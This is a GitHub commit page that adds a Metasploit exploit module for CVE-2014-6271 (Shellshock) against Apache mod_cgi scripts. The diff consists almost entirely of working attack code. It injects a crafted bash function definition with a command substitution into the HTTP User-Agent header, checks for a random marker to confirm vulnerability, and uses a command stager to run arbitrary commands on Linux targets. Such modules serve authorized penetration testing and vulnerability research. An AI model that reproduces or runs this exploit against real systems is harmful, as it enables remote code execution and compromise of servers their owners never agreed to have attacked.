Skip to content

Commit 8a43d63

Browse files
committed
Add exploit module for CVE-2014-6271
1 parent e0fc30c commit 8a43d63

File tree

1 file changed

+92
-0
lines changed

1 file changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::CmdStager
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
16+
'Description' => %q{
17+
This module exploits a code injection in specially crafted environment
18+
variables in Bash, specifically targeting Apache mod_cgi scripts through
19+
the HTTP_USER_AGENT variable.
20+
},
21+
'Author' => [
22+
'Stephane Chazelas', # Vulnerability discovery
23+
'wvu', # Original Metasploit aux module
24+
'juan vazquez' # Allow wvu's module to get native sessions
25+
],
26+
'References' => [
27+
['CVE', '2014-6271'],
28+
['URL', 'https://access.redhat.com/articles/1200223'],
29+
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
30+
],
31+
'Payload' =>
32+
{
33+
'DisableNops' => true,
34+
'Space' => 2048
35+
},
36+
'Targets' =>
37+
[
38+
[ 'Linux x86',
39+
{
40+
'Platform' => 'linux',
41+
'Arch' => ARCH_X86,
42+
'CmdStagerFlavor' => [ :echo, :printf ]
43+
}
44+
]
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Sep 24 2014',
48+
'License' => MSF_LICENSE
49+
))
50+
51+
register_options([
52+
OptString.new('TARGETURI', [true, 'Path to CGI script']),
53+
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
54+
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
55+
OptString.new('RPATH', [true, 'Target PATH for binaries uses by the CmdStager', '/bin']),
56+
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
57+
], self.class)
58+
end
59+
60+
def check
61+
res = req("echo #{marker}")
62+
63+
if res && res.body.include?(marker * 3)
64+
Exploit::CheckCode::Vulnerable
65+
else
66+
Exploit::CheckCode::Safe
67+
end
68+
end
69+
70+
def exploit
71+
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'])
72+
end
73+
74+
def execute_command(cmd, opts)
75+
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
76+
cmd.gsub!('rm', "#{datastore['RPATH']}/rm")
77+
req(cmd)
78+
end
79+
80+
def req(cmd)
81+
send_request_cgi(
82+
{
83+
'method' => datastore['METHOD'],
84+
'uri' => normalize_uri(target_uri.path.to_s),
85+
'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"
86+
}, 5)
87+
end
88+
89+
def marker
90+
@marker ||= rand_text_alphanumeric(rand(42) + 1)
91+
end
92+
end

0 commit comments

Comments
 (0)